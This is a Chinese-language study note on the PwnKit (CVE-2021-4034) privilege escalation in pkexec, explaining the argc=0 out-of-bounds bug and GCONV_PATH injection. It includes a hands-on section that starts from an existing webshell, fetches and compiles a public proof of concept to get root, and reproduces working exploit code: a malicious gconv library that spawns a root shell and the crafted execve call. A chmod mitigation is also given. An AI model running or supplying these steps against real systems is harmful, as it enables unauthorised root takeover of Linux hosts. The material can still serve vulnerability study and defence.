漏洞核心原理一
CVE-2021-4034 (PwnKit) 的核心原理在于 pkexec 程序对命令行参数处理的一个越界读取(Out-of-bounds Read)漏洞,以及由此引发的环境变量写入。
参数处理越界
在 Linux 中,一个程序的 main 函数接收两个重要的参数:argc(参数数量)和 argv(指向参数字符串的指针数组)。按照规范:argv[0] 通常是程序自身的路径,argv[argc] 必须是一个 NULL 指针。
在调用 pkexec 时,如果攻击者强制传递一个完全为空 的数组(即 argc = 0),那么 argv[0] 实际上就是 NULL。然而,pkexec 的代码逻辑假设 argc 至少为 1。它会尝试读取 argv[1] 来获取要执行的命令。由于 argv[1] 已经超出了 argv 数组的范围,根据内存布局,它会越界读取 到紧随其后的 envp(环境变量指针数组)中的第一个元素。
将环境变量误认为路径
当 pkexec 越界读取了第一个环境变量后,它会将这个字符串视作一个程序路径。接着,pkexec 会利用环境变量中的 PATH 变量去寻找这个路径的绝对位置。如果寻找到匹配项,它会将寻找到的绝对路径写回 argv[1]。
漏洞核心原理二
pkexec 是 Linux 桌面系统中一个至关重要的权限管理工具,属于 Polkit(原名 PolicyKit) 系统组件。可以把它理解为一个 "精细化的 sudo"。和 sudo 需要配置 /etc/sudoers 文件不同,pkexec 的授权规则由系统和服务预先定义好(如:允许普通用户执行 fdisk 来分区)。为了完成这个提权操作,pkexec 程序文件本身被设置了 SUID 位,这使得它运行时天然具有 root 权限。漏洞的根源在于 pkexec 源代码中,对一个基础前提的假设错误和边界检查缺失。
在C语言程序中,main 函数接收参数的标准形式是:int main(int argc, char argv\[\], charenvp\[\])。
argc:命令行参数的数量。
argv:参数数组。argv[0] 是程序名自身,argv[1] 是第一个真正的参数,依此类推。
envp:环境变量数组。它在内存中紧跟在 argv 数组之后。
pkexec 的代码默认了一个前提:argc 的值至少为 1(因为至少会有程序名 argv0)。基于这个前提,它在不验证 argc 是否真的大于0的情况下,就直接去读取 argv1,认为这是用户要它执行的那个"命令"。
漏洞就在这里:如果攻击者能够让 argc 等于 0,那么 argv 数组就是空的。当程序试图访问 argv1 时,实际上会发生 "内存越界读取" ------ 它读取到的并不是一个有效的命令行参数,而是紧邻着 argv 数组之后的内存内容,也就是环境变量数组 envp 的第一个元素 envp0。
简单总结成因:pkexec 错误地将攻击者可控的环境变量,当成了要执行的命令参数
利用 GCONV_PATH 注入恶意库
(1)污染参数:攻击者精心设置一个名为 GCONV_PATH 的环境变量,值为一个恶意路径(如 /tmp/evil)。当 argc=0 时,这个字符串就被 pkexec 当作 argv1 来解析。
(2)逻辑触发:pkexec 在处理这个"参数"时,如果发现路径有问题,会调用 g_printerr() 函数打印错误信息。这个函数为了支持多语言(国际化),需要进行字符集转换。
(3)路径劫持:字符集转换的模块加载路径,恰恰由 GCONV_PATH 这个环境变量控制。而在之前的逻辑中,pkexec 已经将这个环境变量设置成了攻击者提供的恶意路径(因为它以为那是 argv1 的一部分)。
(3)恶意代码执行:当 g_printerr() 触发字符集转换时,它会去加载恶意路径下的"转换模块"。这个"模块"实际上是攻击者提前放置的一个恶意共享库(.so文件)。系统会执行这个库的初始化函数。
(4)完成提权:由于整个 pkexec 进程是以 root 权限(SUID) 运行的,它加载执行的恶意代码也自然继承了 root 权限。至此,攻击者便从普通用户身份,完整地获取了系统的最高控制权
注意事项:
【1】pkexec 程序文件本身被设置了 SUID 位 ,这使得它运行时天然具有 root 权限
临时修复:取消pkexec程序特权
chmod 0755 /usr/bin/pkexec
#chmod 4755 /usr/bin/pkexec可以赋予suid
【2】查看pkexec有无suid,有才能被利用
ls -la /usr/bin/pkexec
应该显示:-rwsr-xr-x(有s位)
【3】当看到 /usr/bin/pkexec 和 /usr/lib/policykit-1/polkit-agent-helper-1 时,经验丰富的渗透测试员会立刻联想到 PwnKit
实战:
【1】已经获取到了靶机的webshell,要进行下一步的提权,先进入到/tmp目录下,载CVE-2021-4034 (Linux 系统上的 Polkit 权限提升漏洞)的PoC文件
wget https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.tar.gz
【2】解压poc脚本
tar -zxvf main.tar.gz
【3】编译poc
cd /CVE-2021-4043-main/
make
【4】执行poc提权,再输入whoami,输出为root则成功
./cve-2021-4034
注:我这里打靶,最后一步老是报错如下,在github上面换了好几个脚本都不行,最后执行PwnKit.c(微信上面找的)就可以了
用法:(编译完成之后执行,这里注意需要cd到/tmp目录执行,否则加权限也不能执行)
【1】先上传PwnKit.c脚本到/tmp,执行编译
gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC
【2】此时本地会生成一个PwnKit的可执行文件
chmod +X PwnKit
./PwnKit "要执行的命令"
#注:这里只能通过 ./PwnKit "要执行的命令" 来提升到root,也就是要执行root命令就只能用上面的
pwnkit:pkexec 本地提权漏洞介绍(CVE-2021-4034) - Ditro讲的也很好
pkexec 是什么?
pkexec 本身是一个类似于 sudo 的 SUID-root 程序(即以root身份运行),它的功能可以看 man 手册:
NAME
pkexec - Execute a command as another user
SYNOPSIS
pkexec [--version] [--disable-internal-agent] [--help]
pkexec [--user username] PROGRAM [ARGUMENTS...]
DESCRIPTION
pkexec allows an authorized user to execute PROGRAM as another
user. If PROGRAM is not specified, the default shell will be run.
If username is not specified, then the program will be executed
as the administrative super user, root.
从摘要(synopsis)一栏中我们知道:
pkexec有一个可选选项--user,用于指定执行程序的用户身份;- 一个必选的参数
PROGRAM代表要执行的程序; - 以及随后的传递给
PROGRAM的可选参数列表ARGUMENTS...。
漏洞成因
pkexec 对命令行参数的解析处理不当,是 pwnkit 漏洞的主要诱因。其 main() 函数如下:
435 main (int argc, char *argv[])
436 {
...
534 for (n = 1; n < (guint) argc; n++)
535 {
...
568 }
...
610 path = g_strdup (argv[n]);
...
629 if (path[0] != '/')
630 {
...
632 s = g_find_program_in_path (path);
...
639 argv[n] = path = s;
640 }
这段代码先会遍历 argv 处理命令行参数(534-569行),由于在常见的情况下,argc 至少为 1,此时 argv[0] 是程序名自身,因此编码的时候从 n = 1 开始遍历。然后如果想要执行的程序不是一个绝对路径,那么它就会在 PATH 环境变量中搜索定位该程序(610-640行)。
不幸的是,完全可以在调用 execve 时, 以 NULL 作为 execve 的 argv 参数。这样,被启动的程序的 argc 就为 0。进一步,被启动程序的 argv[0] 也就会是 NULL。那么:
- 第534行,
n会因为不满足n < argc而被永远地设置为 1; - 第610行,
argv[n]自然就是argv[1],这就是一个越界读; - 第639行,
argv[1]会被越界写成指针s,其中s是找到的程序路径;
所以问题的关键就在于,越界读读到的 argv[1] 到底是什么?为了说清这个问题,这里需要做一些必要的介绍。当我们通过 execve() 去执行一个新程序时,内核首先将参数(argv)和环境变量(envp)列表拷贝到程序的栈上。正常的情况应该是像下面这样:

需要注意的是,argv 和 envp 指针在内存中的布局是连续的。因此如果 argc 为 0,那么越界的 argv[1] 实际上是 envp[0],argv[1] 也就是指向了环境变量的第一个变量,这里的 value。造成的结果就是:
- 第 610 行,用于决定要执行程序的路径的变量
path实际上是读取的argv[1] == envp[0] == "value"; - 第 632 行,由于
path并不是一个相对路径(629行判断),因此path == "value"就传递给g_find_program_in_path()函数; g_find_program_in_path()函数在PATH环境变量中搜索名为value的可执行文件;- 如果找到了,那么它的完整路径就返回给
pkexec的main()函数; - 第 639 行,通过
argv[1]也就是envp[0]的越界写,完整路径覆盖了首个环境变量。
如果说得再清楚一点,就是:
- 如果环境变量
PATH=name,并且当前工作目录存在name目录以及名为value的可执行文件,那么envp[0]就会最终被越界写为name/value; - 进一步地,如果环境变量
PATH=name=.,并且当前工作目录存在name=.目录并包含了名为value的可执行文件,那么envp[0]最终被越界写为name=./value;
观察到什么了么?这个越界漏洞允许我们将像 LD_PRELOAD 这样的"不安全的"环境变量重新引入到 pkexec 的执行环境中。对于这类 SUID 程序来说,在执行 main() 函数之前,通常 ld.so 会移除这些"不安全的"环境变量。
关键就是要如何利用这个强有力的基本操作。
利用原理
整个漏洞利用过程还是有一些小插曲。尽管我们有一个越界写,可以修改 envp[0] 的值,但是 pkexec 会在随后的702行清除掉环境变量。
639 argv[n] = path = s;
...
657 for (n = 0; environment_variables_to_save[n] != NULL; n++)
658 {
659 const gchar *key = environment_variables_to_save[n];
...
662 value = g_getenv (key);
...
670 if (!validate_environment_variable (key, value))
...
675 }
...
702 if (clearenv () != 0)
研究者进一步发现 pkexec 会调用 GLib (GNOME 库,而非GNU C) 的 g_printerr() 函数。比如 validate_enviornment_variable() 以及 log_message() 都会调用 g_printerr():
88 log_message (gint level,
89 gboolean print_to_stderr,
90 const gchar *format,
91 ...)
92 {
...
125 if (print_to_stderr)
126 g_printerr ("%s\n", s);
------------------------------------------------------------------------
383 validate_environment_variable (const gchar *key,
384 const gchar *value)
385 {
...
406 log_message (LOG_CRIT, TRUE,
407 "The value for the SHELL variable was not found the /etc/shells file");
408 g_printerr ("\n"
409 "This incident has been reported.\n");
g_printerr() 函数通常是用来打印 UTF-8 编码的错误信息,但如果环境变量 CHARSET 不是 UTF-8 的话,该函数也可以处理。当然,这个漏洞的过错并不在 CHARSET 环境变量上。为了将 UTF-8 转化为其它字符集,g_printerr() 会调用 glibc 的 iconv_open() 函数(对,这个是GNU C库的函数)。
iconv_open() 需要依赖一个小型共享库来完成字符集转换。通常来说,源字符集("from")、目标字符集("to")以及库名称(library name)三元组所决定的转换规则,是从一个默认的配置文件,也就是 /usr/lib/gconv/gconv-modules 中读取的。当然,可以也使用 GCONV_PATH 环境变量去强制 iconv_open() 函数读取指定的文件。考虑到 GCONV_PATH 这种可能会导致任意库文件执行的特性,它被视作"不安全的"环境变量。这样,在执行 SUID 的程序时,ld.so 会将其移除。
现在, 有了 pkexec 的越界写漏洞,我们能够重新引入这些不安全的环境变量。是时候大显身手了。
一、准备恶意gconv
第一步,准备编译恶意的 gconv 共享库。这个恶意程序本身也是一个 SUID 程序,在 setuid() 等调用之后,通过 execve() 为我们启动一个 shell:
void compile_so() {
FILE *f = fopen("payload.c", "wb");
if (f == NULL) {
fatal("fopen");
}
char so_code[]=
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n"
"void gconv() {\n"
" return;\n"
"}\n"
"void gconv_init() {\n"
" setuid(0); seteuid(0); setgid(0); setegid(0);\n"
" static char *a_argv[] = { \"sh\", NULL };\n"
" static char *a_envp[] = { \"PATH=/bin:/usr/bin:/sbin\", NULL };\n"
" execve(\"/bin/sh\", a_argv, a_envp);\n"
" exit(0);\n"
"}\n";
fwrite(so_code, strlen(so_code), 1, f);
fclose(f);
system("gcc -o payload.so -shared -fPIC payload.c");
}
二、准备绕过程序搜索
第二步要创建 GCONV_PATH=./lol 文件,这一步是为了让 pkexec() 632 行正常返回。
三、准备恶意 gconv-modules
第三步,准备恶意的 gconv-modules 配置文件(见上一章节关于 gconv-modules 三元组部分),引导程序在转换字符集时调用我们写好的 payload 程序:
module UTF-8// INTERNAL ../payload 2
四、准备调用环境
第四步,准备调用 pkexec() 的 argc 与 envp:
char *a_argv[]={ NULL };
char *a_envp[]={
"lol",
"PATH=GCONV_PATH=.",
"LC_MESSAGES=en_US.UTF-8",
"XAUTHORITY=../LOL",
NULL
};
完事具备,只欠东风,利用 execve 调用 pkexec,提权获得 root shell:
execve("/usr/bin/pkexec", a_argv, a_envp);
PoC 执行完毕后布局如下:
$ tree .
.
├── blasty-vs-pkexec.c
├── GCONV_PATH=.
│ └── lol
├── lol
│ └── gconv-modules
├── payload.c
├── payload.so
└── pkexec-poc